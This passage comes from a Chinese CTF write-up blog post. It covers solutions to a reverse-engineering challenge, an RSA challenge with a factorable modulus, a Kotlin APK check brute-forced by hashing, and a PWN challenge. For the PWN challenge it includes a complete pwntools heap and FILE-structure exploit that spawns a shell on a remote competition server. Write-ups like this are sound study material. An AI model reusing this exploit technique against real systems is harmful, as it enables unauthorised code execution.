range(len(RC4ans)): src.append(RC4ans[i] ^ i) src = bytes(src).decode() table = "ZO6Kq79L&CPWvNopzQfghDRSG@di*kAB8rsFewxlm+/u5a^2YtTJUVEn0$HI34y#" tmp = [] for x in src: if x == '=': break tmp.append(table.index(x)) def invshift(m, k, c): revm = 0 if k < 0: k = -k cnt = 0 while cnt < 64: hk = (revm << (64 - k)) & 0xffffffffffffffff tmp = (hk & c) ^ m revm = (revm << k) + (tmp >> (64 - k)) m = (m << k) & 0xffffffffffffffff c = (c << k) & 0xffffffffffffffff cnt += k return revm >> (cnt - 64) else: cnt = 0 while cnt < 64: lk = revm >> cnt tmp = ((lk & c) ^ m) & ((1 << k) - 1) revm = (tmp << (cnt + k)) + revm m = m >> k c = c >> k cnt += k return (revm >> k) & 0xffffffffffffffff ans = "" for x in tmp: ans += bin(invshift(x, -3, 0x3f))[2:].rjust(6, '0') flag = "" for i in range(0, len(ans), 8): flag += chr(int(ans[i:i+8], 2)) flag = 'e25' + res + flag print(flag)

image-20220124222727256

flag:e25be952-e74b-4649-bc0d-236342079a59

Crypto

babyrsa

看题目就是一个rsa加密,给了e、N、c求m。

如果N能分解的话就是一个RSA模板题了,用http://www.factordb.com/试试发现还真可以。

image-20220123122511290

分解拿到p和q,用sage手撸一个解密算法:

e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877 p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033 q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513 c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524 N = p*q print(N == 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929) phi = (p-1) * (q-1) d = inverse_mod(e, phi) print(pow(c, d, N))

image-20220123121145005

然后丢进python里long_to_bytes一下拿到flag:

image-20220123121202535

flag:01d_Curs3_c4Me_Again

Accelerate your time

看到附件给了apk,啪的一下就点进来了,很快啊(x

是个kotlin写的apk,以前没逆什么kotlin的经验,一通瞎做搞出来的orz

直接用jeb看(类似于看平时apk的java层),翻包名看到flag,感觉是个重点包,定位到主行为函数

image-20220124150952531

可以看到很明显的check,是把当前的时间做了一个md5塞进大括号里,再拼上用户名和密码,最后再做一个md5跟已知字符串比较。这里的md5取的是[8:24]↓

image-20220124152902690

hour我直接大胆猜测是4,前面看到有特判

image-20220124153715949

min和sec没看到特判,但是60*60的空间完全可以爆破

username和password的xor联系在LoginDataSource里,并且username == trandmark

image-20220125223349886

安卓包的字符串内容是写在res/strings.xml里面的,只要拿到name就可以拿到trandmark的内容:

image-20220124154007240

用户名是Android,密码可以异或得到,md5的结果同样在strings.xml中,须做id->name、name->content的映射

image-20220124154227226

image-20220124154246364

flag就可以出来了,爆破分秒写exp:(其实感觉这题才应该叫TimeTravel才对= =只能在特定时间拿到flag嘛)

from hashlib import md5 #username^password xorarr = [6, 28, 1, 19, 27, 5, 29] username = "Android" password = "" for i in range(len(xorarr)): password += chr(ord(username[i]) ^ xorarr[i]) hashstr_8_23 = "1a9852e856816224" h = str(4) for m in range(60): for s in range(60): flag = "flag{" + md5((h+str(m)+str(s)).encode()).hexdigest()[8:24] + "}" + username + password if md5(flag.encode()).hexdigest()[8:24] == hashstr_8_23: print(flag)

image-20220124154428658

flag:80d0169d22da3c35

PWN

送分题

送分题真的是送分题啊,看到做题的人异常地多,于是去找原题,发现真的找到了wp

https://www.anquanke.com/post/id/258512(justpwnit),直接打wp的exp打通了(

from pwn import * # from LibcSearcher import * # context.log_level='debug' # debug = 1 file_name = './pwn' # libc_name = '/lib/x86_64-linux-gnu/libc.so.6' libc_name = './libc-2.27.so' ip = '1.13.162.249' prot = '10001' # if debug: # r = process(file_name) # libc = ELF(libc_name) # else: r = remote(ip,int(prot)) libc = ELF(libc_name) # def debug(): # gdb.attach(r) # raw_input() def pack_file(_flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0, _IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0, _IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _IO_marker = 0, _IO_chain = 0, _fileno = 0, _lock = 0, _wide_data = 0, _mode = 0): file_struct = p32(_flags) + \ p32(0) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) file_struct = file_struct.ljust(0x88, "\x00") file_struct += p64(_lock) file_struct = file_struct.ljust(0xa0, "\x00") file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0, '\x00') file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8, "\x00") return file_struct file = ELF(file_name) sl = lambda x : r.sendline(x) sd = lambda x : r.send(x) sla = lambda x,y : r.sendlineafter(x,y) rud = lambda x : r.recvuntil(x,drop=True) ru = lambda x : r.recvuntil(x) li = lambda name,x : log.info(name+':'+hex(x)) ri = lambda : r.interactive() ru('Now you can get a big box, what size?') sl(str(0x1430)) ru('Now you can get a bigger box, what size?') sl(str(0x5000)) ru('Do you want to rename?(y/n)') sl('y') ru('Now your name is:') main_arena = u64(r.recv(6) + '\x00\x00') li("main_arena",main_arena) libc_base = main_arena-0x3ebca0 system = libc_base+libc.symbols['system'] global_max_fast = libc_base+0x3ed940 IO_list_all = libc_base + libc.symbols['_IO_list_all'] IO_str_jumps = 0x3e8360 + libc_base payload = p64(main_arena)+p64(global_max_fast-0x10) binsh = 0x00000000001b40fa + libc_base sl(payload) # debug() ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n") sl("1") ru(':\n') fake_file = pack_file(_IO_read_base=IO_list_all-0x10, _IO_write_base=0, _IO_write_ptr=1, _IO_buf_base=binsh, _mode=0,) fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system) sl(fake_file[0x10:]) ri()

image-20220124150811994

flag:5hen_m3_5hi_kuai_1e_xin9_Qiu


__EOF__

本文作者c10udlnk
本文链接https://www.cnblogs.com/c10udlnk/p/15846190.html
关于博主:欢迎关注我的个人博客-> https://c10udlnk.top/
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   c10udlnk  阅读(531)  评论(3编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· DeepSeek R1 简明指南:架构、训练、本地部署及硬件要求
· 2 本地部署DeepSeek模型构建本地知识库+联网搜索详细步骤
点击右上角即可分享
微信分享提示